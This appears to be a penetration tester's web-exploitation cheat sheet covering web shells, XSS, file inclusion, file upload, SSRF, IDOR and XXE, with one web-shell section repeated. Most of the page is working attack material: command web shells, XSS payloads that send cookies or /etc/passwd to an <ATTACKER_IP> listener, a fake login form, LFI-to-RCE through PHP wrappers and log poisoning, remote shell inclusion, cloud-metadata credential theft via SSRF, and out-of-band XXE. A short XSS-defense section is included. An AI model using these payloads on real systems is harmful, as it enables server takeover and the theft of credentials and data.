Web Exploitation
This page combines all web-related resources into one section for easy navegation.
See more about… Web
Source: Docs > 5 - Exploitation > shells#web
Web
- Shell Generator: https://www.revshells.com/
- Webshells: https://github.com/danielmiessler/SecLists/tree/master/Web-Shells
- Beachhead: https://github.com/flozz/p0wny-shell
- Post-Exploit: https://github.com/wso-shell-php/.github
- https://github.com/payloadbox/command-injection-payload-list
- https://swisskyrepo.github.io/PayloadsAllTheThings/
/usr/share/webshells- https://github.com/jbarcia/Web-Shells/tree/master/laudanum
/usr/share/laudanum
| Web Server | Default Webroot |
|---|---|
Apache | /var/www/html/ |
Nginx | /usr/local/nginx/html/ |
IIS | c:\inetpub\wwwroot\ |
XAMPP | C:\xampp\htdocs\ |
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.phpCode
NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings
<?php echo 7*7; ?>
<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>
curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>
<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>
curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>
<%= 7*7 %>
<% eval request("dbg") %>
curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>
See more about… Cross-site scripting (XSS)
Source: Docs > 5 - Exploitation > xss
- https://owasp.org/www-community/attacks/xss/
- https://swisskyrepo.github.io/PayloadsAllTheThings/XSS%20Injection/#methodology
- https://github.com/payload-box/xss-payload-list/blob/main/Cheatsheet.md#xss-cheatsheet
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).
REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)
| Type | Description |
|---|---|
Stored XSS (Persistent) | Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments) |
Reflected XSS (Non-Persistent) | Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message) |
DOM-based XSS | Never touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags) |
Breaking Context
Manual Payloads
Sometimes, certain payloads are not allowed
<script>alert(window.origin)</script>
<img src="" onerror=alert(window.origin)>
<svg/onload=alert(window.origin)>
// Polyglot Breaker
javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>//
---
# Setup listener on ATTACKER_IP
sudo python3 -m http.server 80
// Remote script
<script src="http://<ATTACKER_IP>/script.js"></script>
// Same idea but enumerate vuln fields
<script src="http://<ATTACKER_IP>/username"></script>
// Exfil cookies
document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie;
new Image().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;Login Form Injection
<h3>Please login to continue</h3>
<form action=http://<ATTACKER_IP> >
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>Blind XSS
Manual
Generally, to enumerate Blind XSS vulns, start by setting a server to receive a callback for a particular HTML field that is being tested.
mkdir /tmp/tmpserver && cd /tmp/tmpserver
cat << 'EOF' > script.js
new Image().src='http://10.10.14.175:8080/index.php?c=' + document.cookie;
EOF
php -S 0.0.0.0:8080NOTE: usually, password fields are hashed and email fields are validated client/server side, so they are harder or impossible
# MODIFY PAYLOAD AS NEEDED
PAYLOAD='"><script src=http://<ATTACKER_IP>:8080/script.js></script>'
# Encode it
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
# Hack it!
curl "http://<TARGET>/<PAGE>?\
Name=${ENCODED}\
&Email=${ENCODED}\
&Phone+Number=${ENCODED}\
&Product=${ENCODED}\
&os=${ENCODED}\
&browser=${ENCODED}\
&message=${ENCODED}\
&ttype=${ENCODED}" \
-H 'X-Requested-With: XMLHttpRequest'Check the PHP server for the response with the cookie. Then add the cookie to the browser and visit the appropriate login page:
- Click
Shift+F9to show theStoragebar - Click on the
+button on the top right corner - Add
Nameis the part before=and theValueis the part after=from the stolen cookie
Dalfox
NOTE: this is very dangerous and can break servers easily
# this installs the program at `~/go/bin/dalfox`
go install github.com/hahwul/dalfox/v2@latest# HTTP GET
dalfox url 'http://<TARGET>/?<PARAM>=<VALUE>'
# HTTP POST (can include multiple params for -d)
# COOKIES: -C 'PHPSESSID=<YOUR_COOKIE>'
dalfox url 'http://<TARGET>/' -X POST -d '<PARAM>=<VALUE>'Blind
# Fuzz web page fields
dalfox url "http://<TARGET_IP>/<PAGE>" \
--skip-mining-dom \
--blind "http://<ATTACKER_IP>:8080" \
-X POST \
-d "<PARAM>=<VALUE>"
--header "X-Requested-With: XMLHttpRequest" \
--blind "http://10.10.14.175:8080" \
--delay 500XSS Prevention & Mitigation
XSS defense requires a Defense in Depth approach. Never rely solely on Frontend validation (it is easily bypassed).
Frontend
- Input Validation: Use Regex to enforce strict formats (e.g., Email, Date).
- Sanitization: Strip dangerous tags before processing.
- Library:
DOMPurify(Standard).DOMPurify.sanitize(dirtyInput).
- Library:
- Safe Sinks: Avoid writing raw HTML.
- UNSAFE:
innerHTML,outerHTML,document.write(), jQueryappend(),html(). - SAFE:
innerText,textContent.
- UNSAFE:
Backend
- Input Validation: Reject input that doesn’t match expected types (e.g., PHP
filter_var). - Input Sanitization: Escape special characters before storage (e.g., PHP
addslashes, NodeDOMPurify). - Output Encoding (CRITICAL): Convert special characters into HTML Entities (e.g.,
<→<) before rendering.- PHP:
htmlspecialchars($input, ENT_QUOTES, 'UTF-8') - NodeJS:
html-entitieslibrary.
- PHP:
Server Configuration
- Content Security Policy (CSP): The most powerful header against XSS.
Content-Security-Policy: script-src 'self'(Only allow scripts from the same origin, blocks inline JS).
- Cookie Flags:
HttpOnly: Prevents JavaScript from readingdocument.cookie.Secure: Ensures cookies are only sent over HTTPS.
- Headers:
X-Content-Type-Options: nosniff(Prevents MIME sniffing).
- WAF: Web Application Firewall (ModSecurity, AWS WAF) to block common payloads.
See more about… File Inclusion
Source: Docs > 5 - Exploitation > file-inclusion
File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
There are 2 types, which depend on the underlying vulnerable function:
Code Examples of FI
These examples use the idea of a webpage in multiple languages that allows the user to dynamically load webpage in the selected language.
PHP
// Selector
if (isset($_GET['language'])) {
include($_GET['language']);
}NodeJS
// Selector
if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
// about.html
app.get("/about/:language", function(req, res) {
res.render(`/${req.params.language}/about.html`);
});Java
// Selector
<c:if test="${not empty param.language}">
<jsp:include file="<%= request.getParameter('language') %>" />
</c:if>
// about.html
<c:import url= "<%= request.getParameter('language') %>"/>.NET
// Selector
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
<% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %>
}
// about.html
@Html.Partial(HttpContext.Request.Query['language'])Can Function X Read/Execute?
| Function | Read Content | Execute | Remote URL |
|---|---|---|---|
| PHP | |||
include()/include_once() | ✅ | ✅ | ✅ |
require()/require_once() | ✅ | ✅ | ❌ |
file_get_contents() | ✅ | ❌ | ✅ |
fopen()/file() | ✅ | ❌ | ❌ |
| NodeJS | |||
fs.readFile() | ✅ | ❌ | ❌ |
fs.sendFile() | ✅ | ❌ | ❌ |
res.render() | ✅ | ✅ | ❌ |
| Java | |||
include | ✅ | ❌ | ❌ |
import | ✅ | ✅ | ✅ |
| .NET | |||
@Html.Partial() | ✅ | ❌ | ❌ |
@Html.RemotePartial() | ✅ | ❌ | ✅ |
Response.WriteFile() | ✅ | ❌ | ❌ |
include | ✅ | ✅ | ✅ |
Checking Vulnerability
Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:
- Linux:
/etc/passwd - Windows:
C:\Windows\boot.ini
Generally, they will be 3-5 folder depths down from the root filesystem:
# without '/'
../../../../etc/passwd
# with '/'
/../../../../etc/passwd
# basic filter '../' bypass
....//....//....//etc/passwd
..././
....\/
# URL encoding: must encode entire string
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
# regex might require a specific string or extension for a folder or extension
# the extension part can limit the files accessible
languages/.*php
# overflow character limit to evade extension filter
# ONLY: PHP <5.3 versions
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
# null byte
# ONLY: PHP <5.5 versions
../../../../etc/passwd%00.phpURL Encoding
# Total URL Encoding via Python
echo -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"Finding Files
Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)
# Find *.php files that DO EXIST on the server
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.phpIf the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:
# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"
http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>
# View Page Source > Decode base64
echo '<BASE64> | base64 -d'Local File Inclusion
- Wrappers:
- Requires
allow_url_include = On: - Requires
extension=expect:
- Requires
Check Config
- Linux: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
- Windows: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
# If the LFI is already know (e.g. via LFImap) this
# can browse for all accessible config files
ffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -vExecute Commands
If able, check that appropriate settings are enabled and the underlying function supports the command.
via data
# Base64'd PHP Webshell: <?php system($_GET["cmd"]); ?>
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=;<COMMAND>;'via input
# POST PHP Webshell
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/<PAGE>?<PARAMETER>=php://input&cmd=<COMMAND>'via expect
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=expect://<COMMAND>'Remote File Inclusion
If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.
# URL is the remote resource
http://<TARGET>/<PAGE>?<PARAMETER>=<URL>
# Create remote PHP web shell
# NOTE: this only works for get and execute style functions
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080
# Execute commands by calling back to ATTACK_IP and executing that file
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'Log Poisoning
Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.
# Get PHPSESSION from F12 > Storage
# NOTE: that file is stored on disk as:
# /var/lib/php/sessions/sess_<PHPSESSION>
# Read the settings for the PHPSESSION
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>
# Let's see if we control the OPTION
http://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the value
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>
# Set OPTION to a PHP webshell
curl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'
# Now execute commands
curl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'Scanning
- Top LFI Parameters: https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html#top-25-parameters
- LFI Paylods: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
- Default Web Roots:
- Server configs + more:
To find parameters that could be vulnerable to LFI, first search for the GET/POST parameter, then try out LFI payloads as a value.
NOTE: these payloads are easily defeated by file extension filtering, so that needs to be mitigated as needed. Often times:
- Check server configs
- Attempt to read and see the filtering from the pages
- Incorporate the filtering into the
ffufURL portion
# FIND: params
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>
# FIND: LFI payloads
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>LFI Filter Evasion
When the default Jhaddix wordlist fails (returns 200s but no content, or 500 errors), the application is filtering your input.
| The Filter (What the dev did) | The Bypass (How to break it) | Example Payload |
|---|---|---|
Traversal Stripping (Removes ../) | Nested or overlapping traversals. | ....//....//etc/passwd..././..././etc/passwd |
| URL Decoding Filters (WAF) | URL encode, or double-URL encode. | %2e%2e%2fetc%2fpasswd%252e%252e%252fetc%252fpasswd |
Hardcoded Prefix (include("dir/".$p)) | Add more ../ to climb out of the forced directory. | ../../../../../../etc/passwd |
Hardcoded Suffix (include($p.".php")) | Legacy (PHP < 5.3): null byte. Modern: PHP filter (Base64). | ../../../etc/passwd%00php://filter/read=convert.base64-encode/resource=config |
Keyword Blocking (Blocks passwd) | Wildcards (Linux) or redundant slashes. | /etc//passwd/etc/security/../passwd |
Mechanics & Logic
1. The “Forced Extension” Problem (.php)
If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.
Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.
2. The str_replace Trap
Many developers try to fix LFI with str_replace("../", "", $input).
The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.
Advanced Scanning
The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:
# FIND: Advanced bypasses (nested, encoded, null bytes)
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>
# FIND: PHP wrapper source code extraction (targets common files like index, config, db)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=php://filter/read=convert.base64-encode/resource=FUZZ' -fs <SIZE>See more about… Parameter fuzzing
Source: Docs > 9 - Notes > ffuf#parameter-fuzzing
Parameter fuzzing
GET
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>POST
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>LFImap
Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).
# Install
git clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt
# Base Scan (Use '*' to mark the injection point)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'
# Full Auto-Exploit (Tests all bypasses & attempts RCE)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a
# Pop a Reverse Shell directly (if vulnerable)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>Nuclei
Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.
See more about… Fix Go
Source: Docs > 9 - Notes > Troubleshooting#fix-go
Fix Go
When system Go is broken or missing (HTB / online lab VMs)…
go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23…Install a local Go and wire it into PATH:
wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go versiongo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest# Update templates first
nuclei -ut
# Target a specific URL for all known LFI vectors
echo 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi
# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)
nuclei -u 'http://<TARGET>/' -dast -tags lfi
# Blind OOB LFI (Catch callbacks with interactsh automatically)
nuclei -u 'http://<TARGET>/' -tags oast,lfiSee more about… File Upload
Source: Docs > 5 - Exploitation > file-upload
Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.
Process
- Identify the web technologies used (e.g. PHP).
- Brute-force a command page like
index.<EXT>using/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt. - Browser addon: https://www.wappalyzer.com/
- Brute-force a command page like
- Check for client- and server-side validation and filtering.
- Intercept file submission with a web proxy and test modifications of:
- Filename extensions in the request body
Content-Typeheaders
- Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
- Bypass server-side validation:
- Fuzz file extensions (e.g.
.php7,.phtml, or mixed case.pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded. - Try double extensions such as
.jpgFUZZorFUZZ.jpg. - Use
ffuf -od reqswith a minimal “Hello World” payload for the target tech to see which extension actually executes.
- Fuzz file extensions (e.g.
# Extension fuzzing
# NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP)
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txtContent-Type for Uploads
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types
multipart/form-datafor filesapplication/x-www-form-urlencodedfor simple POST data
Fuzz the request body’s Content-Type (not the HTTP header).
NOTE: Uncheck the URL-encode option in the proxy (e.g. Intruder) so the payload is sent literally.
# Content-Type fuzzing
# NOTE: use a culled list for image uploads
grep 'image/' /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt > image-content-types.txt
ffuf -w image-content-types.txt:FUZZ -od ffuf_type_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txtMagic Bytes
| File Type | Magic Bytes (Hex) | ASCII Representation |
|---|---|---|
| GIF | 47 49 46 38 39 61 or 47 49 46 38 37 61 | GIF8, GIF89a or GIF87a |
| JPG | FF D8 FF E0 (standard) | ÿØÿà |
| PNG | 89 50 4E 47 0D 0A 1A 0A | .PNG.... |
Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.
GIF8 <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>
Character Injection
This approach uses character workarounds that can bypass validation on some (especially older) PHP versions.
> wordlist.txt
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
while IFS= read -r ext; do
[[ -z "$ext" || "$ext" == \#* ]] && continue
echo "shell${char}${ext}.jpg" >> wordlist.txt
echo "shell${ext}${char}.jpg" >> wordlist.txt
echo "shell.jpg${char}${ext}" >> wordlist.txt
echo "shell.jpg${ext}${char}" >> wordlist.txt
done < "/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt"
doneFiles with XXE (via local file reads)
SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.
Read File
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://<FILE>"> ]>
<svg>&xxe;</svg>Read PHP
NOTE: The response may need to be base64-decoded. This assumes the PHP filter wrapper is available.
To read server configs or PHP without executing them:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<PHP_FILE>"> ]>
<svg>&xxe;</svg>Simple Webshell
Append PHP code to the SVG payload so the uploaded file both triggers the XXE and contains the webshell.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>See more about… Web
Source: Docs > 5 - Exploitation > shells#web
Web
- Shell Generator: https://www.revshells.com/
- Webshells: https://github.com/danielmiessler/SecLists/tree/master/Web-Shells
- Beachhead: https://github.com/flozz/p0wny-shell
- Post-Exploit: https://github.com/wso-shell-php/.github
- https://github.com/payloadbox/command-injection-payload-list
- https://swisskyrepo.github.io/PayloadsAllTheThings/
/usr/share/webshells- https://github.com/jbarcia/Web-Shells/tree/master/laudanum
/usr/share/laudanum
| Web Server | Default Webroot |
|---|---|
Apache | /var/www/html/ |
Nginx | /usr/local/nginx/html/ |
IIS | c:\inetpub\wwwroot\ |
XAMPP | C:\xampp\htdocs\ |
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.phpCode
NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings
<?php echo 7*7; ?>
<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>
curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>
<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>
curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>
<%= 7*7 %>
<% eval request("dbg") %>
curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>
See more about… Server-Side Request Forgery (SSRF)
Source: Docs > 5 - Exploitation > ssrf
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery
- https://hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
- https://hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/pdf-injection.html
- https://namratha-gm.medium.com/ssrf-to-local-file-read-through-html-injection-in-pdf-file-53711847cb2f
SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy — useful for accessing internal services, cloud metadata endpoints, or local files.
Identification: Look for any parameter that fetches a remote resource — ?url=, ?image=, ?server=, ?dest=, PDF export features, webhooks, icon fetchers.
| Variant | Description |
|---|---|
| Basic SSRF | Parameter takes a URL; redirect it to internal target |
| Blind SSRF | Server makes the request but returns no output — detect via out-of-band callback |
| SSRF → LFI | Server (or its PDF renderer) reads file:// URIs |
| SSRF → RCE | Chain into internal services (Redis, Elasticsearch, etc.) |
Basic SSRF
Point the vulnerable parameter at an internal resource or metadata endpoint:
# Internal admin panel
http://<TARGET>/item?url=http://127.0.0.1/admin
# AWS metadata
http://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP metadata
http://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenBlind SSRF Detection
If the response gives nothing back, confirm the request fires via a callback:
# Start listener
nc -lvnp 8080
# Inject callback URL into the vulnerable parameter
curl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"Use Burp Collaborator or interactsh for DNS-based OOB confirmation.
SSRF → LFI via HTML Injection in PDF
When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read file:// URIs and exfiltrate content back to the attacker.
Identification: Submit a field and download the resulting PDF — if your input renders as HTML (not escaped), the renderer is likely vulnerable.
Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):
while true; do nc -lvnp 8080; done
# Into vulnerable field
<script>
x=new XMLHttpRequest;
x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>Automate with curl
URL-encode the payload and POST it directly:
while true; do nc -lvnp 8080; done
PAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
curl 'http://<TARGET>/' \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw "insert=Track+Now&handle=${ENCODED}"NOTE: Some PDF renderers block file:// access by default. If the payload fires but returns empty, try /proc/self/environ, /etc/hosts, or app config files as alternative targets.
HTTP Verb Tampering
- HTTP Verb Tampering: https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_HTTP_Verb_Tampering
This should return a HTTP Allow header that will demonstrate accepted HTTP verbs:
curl -X OPTIONS -i 'http://<TARGET>/*'Then experiment with changing the request… like GET -> POST. If it’s an authentication request that uses only HTTP Headers, try also HEAD or OPTIONS.
curl -X POST "http://<TARGET>/index.php" -d "filename=test;id"Create HTTP Verb list from common ones and response from OPTIONS
{ curl -s -I -X OPTIONS <TARGET> | grep -i "allow:" | cut -d':' -f2 | tr ',' '\n' | tr -d ' ' ; echo "GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT DEBUG TEST" | tr ' ' '\n'; } | sort -u > http_methods.txt
ffuf -w ./http_methods.txt -X FUZZ -u <TARGET>Insecure Direct Object References (IDOR)
Occurs when an application exposes a direct reference to an internal implementation object (such as a database key or file path) in a URL or API parameter, allowing an attacker to manipulate that reference to access unauthorized data belonging to another user.
Basic Fuzzing
NOTE: don’t forget the cookie header if needed!
# Fuzz API using IDs 0-50, matching on HTTP 200 or "txt"
ffuf -request-proto http -request request.txt -w <(seq 1 10) -mr <REGEX>
ffuf -u "http://<TARGET>/api/user/FUZZ" -w <(seq 0 50) -mr <REGEX>Encoded Fuzzing
If the target encodes the ID (e.g. Base64 in the URL) but expects an MD5 hash for the actual file/object:
# Iterates 1-20, calculates Base64(ID) and MD5(ID), and downloads file
for i in {1..20}; do
B64_ID=$(echo -n "$i" | base64 -w 0)
MD5_ID=$(echo -n "$i" | md5sum | tr -d ' -')
echo "Testing ID: $i | B64: $B64_ID | MD5: $MD5_ID"
# -J uses the server Content-Disposition automatically
curl -sJo- "http://<TARGET>/download.php?contract=$B64_ID"
# NOTE: this is a manual method:
# -H "Content-Disposition: attachment; filename=\"contract_$id_hashed.pdf\""
doneLFI via XXE
Default XML header as needed:
<?xml version="1.0"?>TRY placing &xxe; into different fields to see if TESTSTRING gets reflected back to the page.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe "TESTSTRING">]>
<root><subtotal>&xxe;</subtotal><userid>&xxe;</userid></root>Basic LFI via XXE
Use the php://filter to Base64-encode files before extraction. This prevents XML parsers from crashing when they hit characters like < or & inside the target PHP file.
NOTE: Replace <FILE>!
<!-- INJECT THIS INTO THE XML BODY -->
<!DOCTYPE email[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
]>
<root>
<email>&file;</email>
</root>Decode locally: base64 -d <<< "PD9waHA..."
Advanced LFI
If the PHP wrapper is blocked, use CDATA to read raw files. Requires hosting a malicious DTD on your machine.
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000NOTE: Replace <FILE> and <ATTACKER_IP>!
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file://<FLAG>">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd">
%xxe;
]>Send as HTTP request body:
<!DOCTYPE email[
<!ENTITY % remote SYSTEM "http://<ATTACKER_IP>/xxe.dtd">
%remote;
%xxe;
]>
<root>
<email>&joined;</email>
</root>Blind OOB Exfiltration
